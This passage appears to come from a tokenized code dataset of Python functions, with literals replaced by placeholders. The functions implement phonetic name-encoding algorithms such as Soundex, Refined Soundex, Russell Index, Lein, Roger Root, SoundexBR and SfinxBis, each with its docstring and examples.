'<STR_LIT:S>' + lokal_ordet[<NUM_LIT:1>:]<EOL><DEDENT>elif lokal_ordet[<NUM_LIT:0>:<NUM_LIT:3>] in ('<STR_LIT>', '<STR_LIT>', '<STR_LIT>'):<EOL><INDENT>lokal_ordet = '<STR_LIT:#>' + lokal_ordet[<NUM_LIT:3>:]<EOL><DEDENT>elif lokal_ordet[<NUM_LIT:0>:<NUM_LIT:2>] in ('<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>'):<EOL><INDENT>lokal_ordet = '<STR_LIT:#>' + lokal_ordet[<NUM_LIT:2>:]<EOL><DEDENT>elif (<EOL>lokal_ordet[<NUM_LIT:0>:<NUM_LIT:2>] == '<STR_LIT>'<EOL>and lokal_ordet[<NUM_LIT:2>:<NUM_LIT:3>] in self._mjuka_vokaler<EOL>):<EOL><INDENT>lokal_ordet = '<STR_LIT:#>' + lokal_ordet[<NUM_LIT:2>:]<EOL><DEDENT>elif (<EOL>lokal_ordet[<NUM_LIT:0>:<NUM_LIT:1>] == '<STR_LIT>'<EOL>and lokal_ordet[<NUM_LIT:1>:<NUM_LIT:2>] in self._mjuka_vokaler<EOL>):<EOL><INDENT>lokal_ordet = '<STR_LIT:#>' + lokal_ordet[<NUM_LIT:1>:]<EOL><DEDENT>return lokal_ordet<EOL><DEDENT>word = unicode_normalize('<STR_LIT>', text_type(word.upper()))<EOL>word = word.replace('<STR_LIT>', '<STR_LIT>')<EOL>word = word.replace('<STR_LIT:->', '<STR_LIT:U+0020>')<EOL>for adelstitel in self._adelstitler:<EOL><INDENT>while adelstitel in word:<EOL><INDENT>word = word.replace(adelstitel, '<STR_LIT:U+0020>')<EOL><DEDENT>if word.startswith(adelstitel[<NUM_LIT:1>:]):<EOL><INDENT>word = word[len(adelstitel) - <NUM_LIT:1> :]<EOL><DEDENT><DEDENT>ordlista = word.split()<EOL>ordlista = [<EOL>self._delete_consecutive_repeats(ordet) for ordet in ordlista<EOL>]<EOL>if not ordlista:<EOL><INDENT>return ('<STR_LIT>',)<EOL><DEDENT>ordlista = [_foersvensker(ordet) for ordet in ordlista]<EOL>ordlista = [<EOL>'<STR_LIT>'.join(c for c in ordet if c in self._uc_set)<EOL>for ordet in ordlista<EOL>]<EOL>ordlista = [_koda_foersta_ljudet(ordet) for ordet in ordlista]<EOL>rest = [ordet[<NUM_LIT:1>:] for ordet in ordlista]<EOL>rest = [ordet.replace('<STR_LIT>', '<STR_LIT:T>') for ordet in rest]<EOL>rest = [ordet.replace('<STR_LIT:X>', '<STR_LIT>') for ordet in rest]<EOL>for vokal in self._mjuka_vokaler:<EOL><INDENT>rest = [ordet.replace('<STR_LIT:C>' + vokal, '<STR_LIT>' + vokal) for ordet in rest]<EOL><DEDENT>rest = [ordet.translate(self._trans) for ordet in rest]<EOL>rest = [self._delete_consecutive_repeats(ordet) for ordet in rest]<EOL>rest = [ordet.replace('<STR_LIT>', '<STR_LIT>') for ordet in rest]<EOL>ordlista = [<EOL>'<STR_LIT>'.join(ordet) for ordet in zip((_[<NUM_LIT:0>:<NUM_LIT:1>] for _ in ordlista), rest)<EOL>]<EOL>if max_length > <NUM_LIT:0>:<EOL><INDENT>ordlista = [ordet[:max_length] for ordet in ordlista]<EOL><DEDENT>return tuple(ordlista)<EOL>", "docstring": "Return the SfinxBis code for a word.\n\n        Parameters\n        ----------\n        word : str\n            The word to transform\n        max_length : int\n            The length of the code returned (defaults to unlimited)\n\n        Returns\n        -------\n        tuple\n            The SfinxBis value\n\n        Examples\n        --------\n        >>> pe = SfinxBis()\n        >>> pe.encode('Christopher')\n        ('K68376',)\n        >>> pe.encode('Niall')\n        ('N4',)\n        >>> pe.encode('Smith')\n        ('S53',)\n        >>> pe.encode('Schmidt')\n        ('S53',)\n\n        >>> pe.encode('Johansson')\n        ('J585',)\n        >>> pe.encode('Sj\u00f6berg')\n        ('#162',)", "id": "f6590:c0:m0"}
{"signature": "def refined_soundex(word, max_length=-<NUM_LIT:1>, zero_pad=False, retain_vowels=False):", "body": "return RefinedSoundex().encode(word, max_length, zero_pad, retain_vowels)<EOL>", "docstring": "Return the Refined Soundex code for a word.\n\n    This is a wrapper for :py:meth:`RefinedSoundex.encode`.\n\n    Parameters\n    ----------\n    word : str\n        The word to transform\n    max_length : int\n        The length of the code returned (defaults to unlimited)\n    zero_pad : bool\n        Pad the end of the return value with 0s to achieve a max_length string\n    retain_vowels : bool\n        Retain vowels (as 0) in the resulting code\n\n    Returns\n    -------\n    str\n        The Refined Soundex value\n\n    Examples\n    --------\n    >>> refined_soundex('Christopher')\n    'C393619'\n    >>> refined_soundex('Niall')\n    'N87'\n    >>> refined_soundex('Smith')\n    'S386'\n    >>> refined_soundex('Schmidt')\n    'S386'", "id": "f6591:m0"}
{"signature": "def encode(self, word, max_length=-<NUM_LIT:1>, zero_pad=False, retain_vowels=False):", "body": "<EOL>word = unicode_normalize('<STR_LIT>', text_type(word.upper()))<EOL>word = word.replace('<STR_LIT>', '<STR_LIT>')<EOL>word = '<STR_LIT>'.join(c for c in word if c in self._uc_set)<EOL>sdx = word[:<NUM_LIT:1>] + word.translate(self._trans)<EOL>sdx = self._delete_consecutive_repeats(sdx)<EOL>if not retain_vowels:<EOL><INDENT>sdx = sdx.replace('<STR_LIT:0>', '<STR_LIT>')  <EOL><DEDENT>if max_length > <NUM_LIT:0>:<EOL><INDENT>if zero_pad:<EOL><INDENT>sdx += '<STR_LIT:0>' * max_length<EOL><DEDENT>sdx = sdx[:max_length]<EOL><DEDENT>return sdx<EOL>", "docstring": "Return the Refined Soundex code for a word.\n\n        Parameters\n        ----------\n        word : str\n            The word to transform\n        max_length : int\n            The length of the code returned (defaults to unlimited)\n        zero_pad : bool\n            Pad the end of the return value with 0s to achieve a max_length\n            string\n        retain_vowels : bool\n            Retain vowels (as 0) in the resulting code\n\n        Returns\n        -------\n        str\n            The Refined Soundex value\n\n        Examples\n        --------\n        >>> pe = RefinedSoundex()\n        >>> pe.encode('Christopher')\n        'C393619'\n        >>> pe.encode('Niall')\n        'N87'\n        >>> pe.encode('Smith')\n        'S386'\n        >>> pe.encode('Schmidt')\n        'S386'", "id": "f6591:c0:m0"}
{"signature": "def pshp_soundex_first(fname, max_length=<NUM_LIT:4>, german=False):", "body": "return PSHPSoundexFirst().encode(fname, max_length, german)<EOL>", "docstring": "Calculate the PSHP Soundex/Viewex Coding of a first name.\n\n    This is a wrapper for :py:meth:`PSHPSoundexFirst.encode`.\n\n    Parameters\n    ----------\n    fname : str\n        The first name to encode\n    max_length : int\n        The length of the code returned (defaults to 4)\n    german : bool\n        Set to True if the name is German (different rules apply)\n\n    Returns\n    -------\n    str\n        The PSHP Soundex/Viewex Coding\n\n    Examples\n    --------\n    >>> pshp_soundex_first('Smith')\n    'S530'\n    >>> pshp_soundex_first('Waters')\n    'W352'\n    >>> pshp_soundex_first('James')\n    'J700'\n    >>> pshp_soundex_first('Schmidt')\n    'S500'\n    >>> pshp_soundex_first('Ashcroft')\n    'A220'\n    >>> pshp_soundex_first('John')\n    'J500'\n    >>> pshp_soundex_first('Colin')\n    'K400'\n    >>> pshp_soundex_first('Niall')\n    'N400'\n    >>> pshp_soundex_first('Sally')\n    'S400'\n    >>> pshp_soundex_first('Jane')\n    'J500'", "id": "f6592:m0"}
{"signature": "def encode(self, fname, max_length=<NUM_LIT:4>, german=False):", "body": "fname = unicode_normalize('<STR_LIT>', text_type(fname.upper()))<EOL>fname = fname.replace('<STR_LIT>', '<STR_LIT>')<EOL>fname = '<STR_LIT>'.join(c for c in fname if c in self._uc_set)<EOL>if fname == '<STR_LIT>':<EOL><INDENT>code = '<STR_LIT>'<EOL><DEDENT>elif fname == '<STR_LIT>':<EOL><INDENT>code = '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>if fname[:<NUM_LIT:2>] in {'<STR_LIT>', '<STR_LIT>', '<STR_LIT>'}:<EOL><INDENT>fname = '<STR_LIT>' + fname[<NUM_LIT:1>:]<EOL><DEDENT>elif fname[:<NUM_LIT:2>] in {'<STR_LIT>', '<STR_LIT>', '<STR_LIT>'}:<EOL><INDENT>fname = '<STR_LIT:S>' + fname[<NUM_LIT:1>:]<EOL><DEDENT>elif fname[:<NUM_LIT:3>] == '<STR_LIT>':<EOL><INDENT>fname = '<STR_LIT>' + fname[<NUM_LIT:1>:]<EOL><DEDENT>elif fname[:<NUM_LIT:1>] == '<STR_LIT:C>' and fname[:<NUM_LIT:2>] != '<STR_LIT>':<EOL><INDENT>fname = '<STR_LIT>' + fname[<NUM_LIT:1>:]<EOL><DEDENT>if fname[:<NUM_LIT:2>] == '<STR_LIT>':<EOL><INDENT>fname = '<STR_LIT:N>' + fname[<NUM_LIT:1>:]<EOL><DEDENT>elif fname[:<NUM_LIT:2>] == '<STR_LIT>':<EOL><INDENT>fname = '<STR_LIT:F>' + fname[<NUM_LIT:1>:]<EOL><DEDENT>elif fname[:<NUM_LIT:3>] in {'<STR_LIT>', '<STR_LIT>'}:<EOL><INDENT>fname = '<STR_LIT>' + fname[<NUM_LIT:1>:]<EOL><DEDENT>if german and fname[:<NUM_LIT:1>] in {'<STR_LIT>', '<STR_LIT:M>', '<STR_LIT:Y>', '<STR_LIT>'}:<EOL><INDENT>fname = {'<STR_LIT>': '<STR_LIT>', '<STR_LIT:M>': '<STR_LIT:N>', '<STR_LIT:Y>': '<STR_LIT>', '<STR_LIT>': '<STR_LIT:S>'}[<EOL>fname[<NUM_LIT:0>]<EOL>] + fname[<NUM_LIT:1>:]<EOL><DEDENT>code = fname[:<NUM_LIT:1>]<EOL>fname = fname.translate(self._trans)<EOL>fname = self._delete_consecutive_repeats(fname)<EOL>code += fname[<NUM_LIT:1>:]<EOL>syl_ptr = code.find('<STR_LIT:0>')<EOL>syl2_ptr = code[syl_ptr + <NUM_LIT:1> :].find('<STR_LIT:0>')<EOL>if syl_ptr != -<NUM_LIT:1> and syl2_ptr != -<NUM_LIT:1> and syl2_ptr - syl_ptr > -<NUM_LIT:1>:<EOL><INDENT>code = code[: syl_ptr + <NUM_LIT:2>]<EOL><DEDENT>code = code.replace('<STR_LIT:0>', '<STR_LIT>')  <EOL><DEDENT>if max_length != -<NUM_LIT:1>:<EOL><INDENT>if len(code) < max_length:<EOL><INDENT>code += '<STR_LIT:0>' * (max_length - len(code))<EOL><DEDENT>else:<EOL><INDENT>code = code[:max_length]<EOL><DEDENT><DEDENT>return code<EOL>", "docstring": "Calculate the PSHP Soundex/Viewex Coding of a first name.\n\n        Parameters\n        ----------\n        fname : str\n            The first name to encode\n        max_length : int\n            The length of the code returned (defaults to 4)\n        german : bool\n            Set to True if the name is German (different rules apply)\n\n        Returns\n        -------\n        str\n            The PSHP Soundex/Viewex Coding\n\n        Examples\n        --------\n        >>> pe = PSHPSoundexFirst()\n        >>> pe.encode('Smith')\n        'S530'\n        >>> pe.encode('Waters')\n        'W352'\n        >>> pe.encode('James')\n        'J700'\n        >>> pe.encode('Schmidt')\n        'S500'\n        >>> pe.encode('Ashcroft')\n        'A220'\n        >>> pe.encode('John')\n        'J500'\n        >>> pe.encode('Colin')\n        'K400'\n        >>> pe.encode('Niall')\n        'N400'\n        >>> pe.encode('Sally')\n        'S400'\n        >>> pe.encode('Jane')\n        'J500'", "id": "f6592:c0:m0"}
{"signature": "def russell_index(word):", "body": "return RussellIndex().encode(word)<EOL>", "docstring": "Return the Russell Index (integer output) of a word.\n\n    This is a wrapper for :py:meth:`RussellIndex.encode`.\n\n    Parameters\n    ----------\n    word : str\n        The word to transform\n\n    Returns\n    -------\n    int\n        The Russell Index value\n\n    Examples\n    --------\n    >>> russell_index('Christopher')\n    3813428\n    >>> russell_index('Niall')\n    715\n    >>> russell_index('Smith')\n    3614\n    >>> russell_index('Schmidt')\n    3614", "id": "f6593:m0"}
{"signature": "def russell_index_num_to_alpha(num):", "body": "return RussellIndex()._to_alpha(num)<EOL>", "docstring": "Convert the Russell Index integer to an alphabetic string.\n\n    This is a wrapper for :py:meth:`RussellIndex._to_alpha`.\n\n    Parameters\n    ----------\n    num : int\n        A Russell Index integer value\n\n    Returns\n    -------\n    str\n        The Russell Index as an alphabetic string\n\n    Examples\n    --------\n    >>> russell_index_num_to_alpha(3813428)\n    'CRACDBR'\n    >>> russell_index_num_to_alpha(715)\n    'NAL'\n    >>> russell_index_num_to_alpha(3614)\n    'CMAD'", "id": "f6593:m1"}
{"signature": "def russell_index_alpha(word):", "body": "return RussellIndex().encode_alpha(word)<EOL>", "docstring": "Return the Russell Index (alphabetic output) for the word.\n\n    This is a wrapper for :py:meth:`RussellIndex.encode_alpha`.\n\n    Parameters\n    ----------\n    word : str\n        The word to transform\n\n    Returns\n    -------\n    str\n        The Russell Index value as an alphabetic string\n\n    Examples\n    --------\n    >>> russell_index_alpha('Christopher')\n    'CRACDBR'\n    >>> russell_index_alpha('Niall')\n    'NAL'\n    >>> russell_index_alpha('Smith')\n    'CMAD'\n    >>> russell_index_alpha('Schmidt')\n    'CMAD'", "id": "f6593:m2"}
{"signature": "def encode(self, word):", "body": "word = unicode_normalize('<STR_LIT>', text_type(word.upper()))<EOL>word = word.replace('<STR_LIT>', '<STR_LIT>')<EOL>word = word.replace('<STR_LIT>', '<STR_LIT>')  <EOL>word = word.rstrip('<STR_LIT>')  <EOL>word = '<STR_LIT>'.join(c for c in word if c in self._uc_set)<EOL>sdx = word.translate(self._trans)<EOL>one = sdx.find('<STR_LIT:1>') + <NUM_LIT:1><EOL>if one:<EOL><INDENT>sdx = sdx[:one] + '<STR_LIT>'.join(c for c in sdx[one:] if c != '<STR_LIT:1>')<EOL><DEDENT>sdx = self._delete_consecutive_repeats(sdx)<EOL>return int(sdx) if sdx else float('<STR_LIT>')<EOL>", "docstring": "Return the Russell Index (integer output) of a word.\n\n        Parameters\n        ----------\n        word : str\n            The word to transform\n\n        Returns\n        -------\n        int\n            The Russell Index value\n\n        Examples\n        --------\n        >>> pe = RussellIndex()\n        >>> pe.encode('Christopher')\n        3813428\n        >>> pe.encode('Niall')\n        715\n        >>> pe.encode('Smith')\n        3614\n        >>> pe.encode('Schmidt')\n        3614", "id": "f6593:c0:m0"}
{"signature": "def _to_alpha(self, num):", "body": "num = '<STR_LIT>'.join(c for c in text_type(num) if c in self._num_set)<EOL>if num:<EOL><INDENT>return num.translate(self._num_trans)<EOL><DEDENT>return '<STR_LIT>'<EOL>", "docstring": "Convert the Russell Index integer to an alphabetic string.\n\n        This follows Robert C. Russell's Index algorithm, as described in\n        :cite:`Russell:1917`.\n\n        Parameters\n        ----------\n        num : int\n            A Russell Index integer value\n\n        Returns\n        -------\n        str\n            The Russell Index as an alphabetic string\n\n        Examples\n        --------\n        >>> pe = RussellIndex()\n        >>> pe._to_alpha(3813428)\n        'CRACDBR'\n        >>> pe._to_alpha(715)\n        'NAL'\n        >>> pe._to_alpha(3614)\n        'CMAD'", "id": "f6593:c0:m1"}
{"signature": "def encode_alpha(self, word):", "body": "if word:<EOL><INDENT>return self._to_alpha(self.encode(word))<EOL><DEDENT>return '<STR_LIT>'<EOL>", "docstring": "Return the Russell Index (alphabetic output) for the word.\n\n        This follows Robert C. Russell's Index algorithm, as described in\n        :cite:`Russell:1917`.\n\n        Parameters\n        ----------\n        word : str\n            The word to transform\n\n        Returns\n        -------\n        str\n            The Russell Index value as an alphabetic string\n\n        Examples\n        --------\n        >>> pe = RussellIndex()\n        >>> pe.encode_alpha('Christopher')\n        'CRACDBR'\n        >>> pe.encode_alpha('Niall')\n        'NAL'\n        >>> pe.encode_alpha('Smith')\n        'CMAD'\n        >>> pe.encode_alpha('Schmidt')\n        'CMAD'", "id": "f6593:c0:m2"}
{"signature": "def soundex(word, max_length=<NUM_LIT:4>, var='<STR_LIT>', reverse=False, zero_pad=True):", "body": "return Soundex().encode(word, max_length, var, reverse, zero_pad)<EOL>", "docstring": "Return the Soundex code for a word.\n\n    This is a wrapper for :py:meth:`Soundex.encode`.\n\n    Parameters\n    ----------\n    word : str\n        The word to transform\n    max_length : int\n        The length of the code returned (defaults to 4)\n    var : str\n        The variant of the algorithm to employ (defaults to ``American``):\n\n            - ``American`` follows the American Soundex algorithm, as described\n              at :cite:`US:2007` and in :cite:`Knuth:1998`; this is also called\n              Miracode\n            - ``special`` follows the rules from the 1880-1910 US Census\n              retrospective re-analysis, in which h & w are not treated as\n              blocking consonants but as vowels. Cf. :cite:`Repici:2013`.\n            - ``Census`` follows the rules laid out in GIL 55 :cite:`US:1997`\n              by the US Census, including coding prefixed and unprefixed\n              versions of some names\n\n    reverse : bool\n        Reverse the word before computing the selected Soundex (defaults to\n        False); This results in \"Reverse Soundex\", which is useful for blocking\n        in cases where the initial elements may be in error.\n    zero_pad : bool\n        Pad the end of the return value with 0s to achieve a max_length string\n\n    Returns\n    -------\n    str\n        The Soundex value\n\n    Examples\n    --------\n    >>> soundex(\"Christopher\")\n    'C623'\n    >>> soundex(\"Niall\")\n    'N400'\n    >>> soundex('Smith')\n    'S530'\n    >>> soundex('Schmidt')\n    'S530'\n\n    >>> soundex('Christopher', max_length=-1)\n    'C623160000000000000000000000000000000000000000000000000000000000'\n    >>> soundex('Christopher', max_length=-1, zero_pad=False)\n    'C62316'\n\n    >>> soundex('Christopher', reverse=True)\n    'R132'\n\n    >>> soundex('Ashcroft')\n    'A261'\n    >>> soundex('Asicroft')\n    'A226'\n    >>> soundex('Ashcroft', var='special')\n    'A226'\n    >>> soundex('Asicroft', var='special')\n    'A226'", "id": "f6594:m0"}
{"signature": "def encode(<EOL>self, word, max_length=<NUM_LIT:4>, var='<STR_LIT>', reverse=False, zero_pad=True<EOL>):", "body": "<EOL>if max_length != -<NUM_LIT:1>:<EOL><INDENT>max_length = min(max(<NUM_LIT:4>, max_length), <NUM_LIT:64>)<EOL><DEDENT>else:<EOL><INDENT>max_length = <NUM_LIT:64><EOL><DEDENT>word = unicode_normalize('<STR_LIT>', text_type(word.upper()))<EOL>word = word.replace('<STR_LIT>', '<STR_LIT>')<EOL>if var == '<STR_LIT>':<EOL><INDENT>if word[:<NUM_LIT:3>] in {'<STR_LIT>', '<STR_LIT>'} and len(word) > <NUM_LIT:4>:<EOL><INDENT>return (<EOL>soundex(word, max_length, '<STR_LIT>', reverse, zero_pad),<EOL>soundex(<EOL>word[<NUM_LIT:3>:], max_length, '<STR_LIT>', reverse, zero_pad<EOL>),<EOL>)<EOL><DEDENT>if word[:<NUM_LIT:2>] in {'<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>'} and len(word) > <NUM_LIT:3>:<EOL><INDENT>return (<EOL>soundex(word, max_length, '<STR_LIT>', reverse, zero_pad),<EOL>soundex(<EOL>word[<NUM_LIT:2>:], max_length, '<STR_LIT>', reverse, zero_pad<EOL>),<EOL>)<EOL><DEDENT><DEDENT>word = '<STR_LIT>'.join(c for c in word if c in self._uc_set)<EOL>if not word:<EOL><INDENT>if zero_pad:<EOL><INDENT>return '<STR_LIT:0>' * max_length<EOL><DEDENT>return '<STR_LIT:0>'<EOL><DEDENT>if reverse:<EOL><INDENT>word = word[::-<NUM_LIT:1>]<EOL><DEDENT>sdx = word.translate(self._trans)<EOL>if var == '<STR_LIT>':<EOL><INDENT>sdx = sdx.replace('<STR_LIT>', '<STR_LIT:0>')  <EOL><DEDENT>else:<EOL><INDENT>sdx = sdx.replace('<STR_LIT>', '<STR_LIT>')  <EOL><DEDENT>sdx = self._delete_consecutive_repeats(sdx)  <EOL>if word[<NUM_LIT:0>] in '<STR_LIT>':<EOL><INDENT>sdx = word[<NUM_LIT:0>] + sdx<EOL><DEDENT>else:<EOL><INDENT>sdx = word[<NUM_LIT:0>] + sdx[<NUM_LIT:1>:]<EOL><DEDENT>sdx = sdx.replace('<STR_LIT:0>', '<STR_LIT>')  <EOL>if zero_pad:<EOL><INDENT>sdx += '<STR_LIT:0>' * max_length  <EOL><DEDENT>return sdx[:max_length]<EOL>", "docstring": "Return the Soundex code for a word.\n\n        Parameters\n        ----------\n        word : str\n            The word to transform\n        max_length : int\n            The length of the code returned (defaults to 4)\n        var : str\n            The variant of the algorithm to employ (defaults to ``American``):\n\n                - ``American`` follows the American Soundex algorithm, as\n                  described at :cite:`US:2007` and in :cite:`Knuth:1998`; this\n                  is also called Miracode\n                - ``special`` follows the rules from the 1880-1910 US Census\n                  retrospective re-analysis, in which h & w are not treated as\n                  blocking consonants but as vowels. Cf. :cite:`Repici:2013`.\n                - ``Census`` follows the rules laid out in GIL 55\n                  :cite:`US:1997` by the US Census, including coding prefixed\n                  and unprefixed versions of some names\n\n        reverse : bool\n            Reverse the word before computing the selected Soundex (defaults to\n            False); This results in \"Reverse Soundex\", which is useful for\n            blocking in cases where the initial elements may be in error.\n        zero_pad : bool\n            Pad the end of the return value with 0s to achieve a max_length\n            string\n\n        Returns\n        -------\n        str\n            The Soundex value\n\n        Examples\n        --------\n        >>> pe = Soundex()\n        >>> pe.encode(\"Christopher\")\n        'C623'\n        >>> pe.encode(\"Niall\")\n        'N400'\n        >>> pe.encode('Smith')\n        'S530'\n        >>> pe.encode('Schmidt')\n        'S530'\n\n        >>> pe.encode('Christopher', max_length=-1)\n        'C623160000000000000000000000000000000000000000000000000000000000'\n        >>> pe.encode('Christopher', max_length=-1, zero_pad=False)\n        'C62316'\n\n        >>> pe.encode('Christopher', reverse=True)\n        'R132'\n\n        >>> pe.encode('Ashcroft')\n        'A261'\n        >>> pe.encode('Asicroft')\n        'A226'\n        >>> pe.encode('Ashcroft', var='special')\n        'A226'\n        >>> pe.encode('Asicroft', var='special')\n        'A226'", "id": "f6594:c0:m0"}
{"signature": "def lein(word, max_length=<NUM_LIT:4>, zero_pad=True):", "body": "return Lein().encode(word, max_length, zero_pad)<EOL>", "docstring": "Return the Lein code for a word.\n\n    This is a wrapper for :py:meth:`Lein.encode`.\n\n    Parameters\n    ----------\n    word : str\n        The word to transform\n    max_length : int\n        The length of the code returned (defaults to 4)\n    zero_pad : bool\n        Pad the end of the return value with 0s to achieve a max_length string\n\n    Returns\n    -------\n    str\n        The Lein code\n\n    Examples\n    --------\n    >>> lein('Christopher')\n    'C351'\n    >>> lein('Niall')\n    'N300'\n    >>> lein('Smith')\n    'S210'\n    >>> lein('Schmidt')\n    'S521'", "id": "f6595:m0"}
{"signature": "def encode(self, word, max_length=<NUM_LIT:4>, zero_pad=True):", "body": "<EOL>word = unicode_normalize('<STR_LIT>', text_type(word.upper()))<EOL>word = word.replace('<STR_LIT>', '<STR_LIT>')<EOL>word = '<STR_LIT>'.join(c for c in word if c in self._uc_set)<EOL>code = word[:<NUM_LIT:1>]  <EOL>word = word[<NUM_LIT:1>:].translate(self._del_trans)  <EOL>word = self._delete_consecutive_repeats(word)  <EOL>code += word.translate(self._trans)  <EOL>if zero_pad:<EOL><INDENT>code += '<STR_LIT:0>' * max_length  <EOL><DEDENT>return code[:max_length]<EOL>", "docstring": "Return the Lein code for a word.\n\n        Parameters\n        ----------\n        word : str\n            The word to transform\n        max_length : int\n            The length of the code returned (defaults to 4)\n        zero_pad : bool\n            Pad the end of the return value with 0s to achieve a max_length\n            string\n\n        Returns\n        -------\n        str\n            The Lein code\n\n        Examples\n        --------\n        >>> pe = Lein()\n        >>> pe.encode('Christopher')\n        'C351'\n        >>> pe.encode('Niall')\n        'N300'\n        >>> pe.encode('Smith')\n        'S210'\n        >>> pe.encode('Schmidt')\n        'S521'", "id": "f6595:c0:m0"}
{"signature": "def roger_root(word, max_length=<NUM_LIT:5>, zero_pad=True):", "body": "return RogerRoot().encode(word, max_length, zero_pad)<EOL>", "docstring": "Return the Roger Root code for a word.\n\n    This is a wrapper for :py:meth:`RogerRoot.encode`.\n\n    Parameters\n    ----------\n    word : str\n        The word to transform\n    max_length : int\n        The maximum length (default 5) of the code to return\n    zero_pad : bool\n        Pad the end of the return value with 0s to achieve a max_length string\n\n    Returns\n    -------\n    str\n        The Roger Root code\n\n    Examples\n    --------\n    >>> roger_root('Christopher')\n    '06401'\n    >>> roger_root('Niall')\n    '02500'\n    >>> roger_root('Smith')\n    '00310'\n    >>> roger_root('Schmidt')\n    '06310'", "id": "f6596:m0"}
{"signature": "def encode(self, word, max_length=<NUM_LIT:5>, zero_pad=True):", "body": "<EOL>word = unicode_normalize('<STR_LIT>', text_type(word.upper()))<EOL>word = word.replace('<STR_LIT>', '<STR_LIT>')<EOL>word = '<STR_LIT>'.join(c for c in word if c in self._uc_set)<EOL>code = '<STR_LIT>'<EOL>pos = <NUM_LIT:0><EOL>for num in range(<NUM_LIT:4>, <NUM_LIT:0>, -<NUM_LIT:1>):<EOL><INDENT>if word[:num] in self._init_patterns[num]:<EOL><INDENT>code = self._init_patterns[num][word[:num]]<EOL>pos += num<EOL>break<EOL><DEDENT><DEDENT>while pos < len(word):<EOL><INDENT>for num in range(<NUM_LIT:4>, <NUM_LIT:0>, -<NUM_LIT:1>):  <EOL><INDENT>if word[pos : pos + num] in self._med_patterns[num]:<EOL><INDENT>code += self._med_patterns[num][word[pos : pos + num]]<EOL>pos += num<EOL>break<EOL><DEDENT><DEDENT><DEDENT>code = self._delete_consecutive_repeats(code)<EOL>code = code.replace('<STR_LIT:*>', '<STR_LIT>')<EOL>if zero_pad:<EOL><INDENT>code += '<STR_LIT:0>' * max_length<EOL><DEDENT>return code[:max_length]<EOL>", "docstring": "Return the Roger Root code for a word.\n\n        Parameters\n        ----------\n        word : str\n            The word to transform\n        max_length : int\n            The maximum length (default 5) of the code to return\n        zero_pad : bool\n            Pad the end of the return value with 0s to achieve a max_length\n            string\n\n        Returns\n        -------\n        str\n            The Roger Root code\n\n        Examples\n        --------\n        >>> roger_root('Christopher')\n        '06401'\n        >>> roger_root('Niall')\n        '02500'\n        >>> roger_root('Smith')\n        '00310'\n        >>> roger_root('Schmidt')\n        '06310'", "id": "f6596:c0:m0"}
{"signature": "def soundex_br(word, max_length=<NUM_LIT:4>, zero_pad=True):", "body": "return SoundexBR().encode(word, max_length, zero_pad)<EOL>", "docstring": "Return the SoundexBR encoding of a word.\n\n    This is a wrapper for :py:meth:`SoundexBR.encode`.\n\n    Parameters\n    ----------\n    word : str\n        The word to transform\n    max_length : int\n        The length of the code returned (defaults to 4)\n    zero_pad : bool\n        Pad the end of the return value with 0s to achieve a max_length string\n\n    Returns\n    -------\n    str\n        The SoundexBR code\n\n    Examples\n    --------\n    >>> soundex_br('Oliveira')\n    'O416'\n    >>> soundex_br('Almeida')\n    'A453'\n    >>> soundex_br('Barbosa')\n    'B612'\n    >>> soundex_br('Ara\u00fajo')\n    'A620'\n    >>> soundex_br('Gon\u00e7alves')\n    'G524'\n    >>> soundex_br('Goncalves')\n    'G524'", "id": "f6597:m0"}
{"signature": "def encode(self, word, max_length=<NUM_LIT:4>, zero_pad=True):", "body": "word = unicode_normalize('<STR_LIT>', text_type(word.upper()))<EOL>word = '<STR_LIT>'.join(c for c in word if c in self._uc_set)<EOL>if word[:<NUM_LIT:2>] == '<STR_LIT>':<EOL><INDENT>first = '<STR_LIT>'<EOL><DEDENT>elif word[:<NUM_LIT:1>] == '<STR_LIT>' and word[<NUM_LIT:1>:<NUM_LIT:2>] in {'<STR_LIT:A>', '<STR_LIT:O>', '<STR_LIT>'}:<EOL><INDENT>first = '<STR_LIT:C>'<EOL><DEDENT>elif word[:<NUM_LIT:1>] == '<STR_LIT:C>' and word[<NUM_LIT:1>:<NUM_LIT:2>] in {'<STR_LIT:I>', '<STR_LIT:E>'}:<EOL><INDENT>first = '<STR_LIT:S>'<EOL><DEDENT>elif word[:<NUM_LIT:1>] == '<STR_LIT>' and word[<NUM_LIT:1>:<NUM_LIT:2>] in {'<STR_LIT:E>', '<STR_LIT:I>'}:<EOL><INDENT>first = '<STR_LIT>'<EOL><DEDENT>elif word[:<NUM_LIT:1>] == '<STR_LIT:Y>':<EOL><INDENT>first = '<STR_LIT:I>'<EOL><DEDENT>elif word[:<NUM_LIT:1>] == '<STR_LIT:H>':<EOL><INDENT>first = word[<NUM_LIT:1>:<NUM_LIT:2>]<EOL>word = word[<NUM_LIT:1>:]<EOL><DEDENT>else:<EOL><INDENT>first = word[:<NUM_LIT:1>]<EOL><DEDENT>sdx = first + word[<NUM_LIT:1>:].translate(self._trans)<EOL>sdx = self._delete_consecutive_repeats(sdx)<EOL>sdx = sdx.replace('<STR_LIT:0>', '<STR_LIT>')<EOL>if zero_pad:<EOL><INDENT>sdx += '<STR_LIT:0>' * max_length<EOL><DEDENT>return sdx[:max_length]<EOL>", "docstring": "Return the SoundexBR encoding of a word.\n\n        Parameters\n        ----------\n        word : str\n            The word to transform\n        max_length : int\n            The length of the code returned (defaults to 4)\n        zero_pad : bool\n            Pad the end of the return value with 0s to achieve a max_length\n            string\n\n        Returns\n        -------\n        str\n            The SoundexBR code\n\n        Examples\n        --------\n        >>> soundex_br('Oliveira')\n        'O416'\n        >>> soundex_br('Almeida')\n        'A453'\n        >>> soundex_br('Barbosa')\n        'B612'\n        >>> soundex_br('Ara\u00fajo')\n        'A620'\n        >>> soundex_br('Gon\u00e7alves')\n        'G524'\n        >>> soundex_br('Goncalves')\n        'G524'", "id": "f6597:c0:m0"}
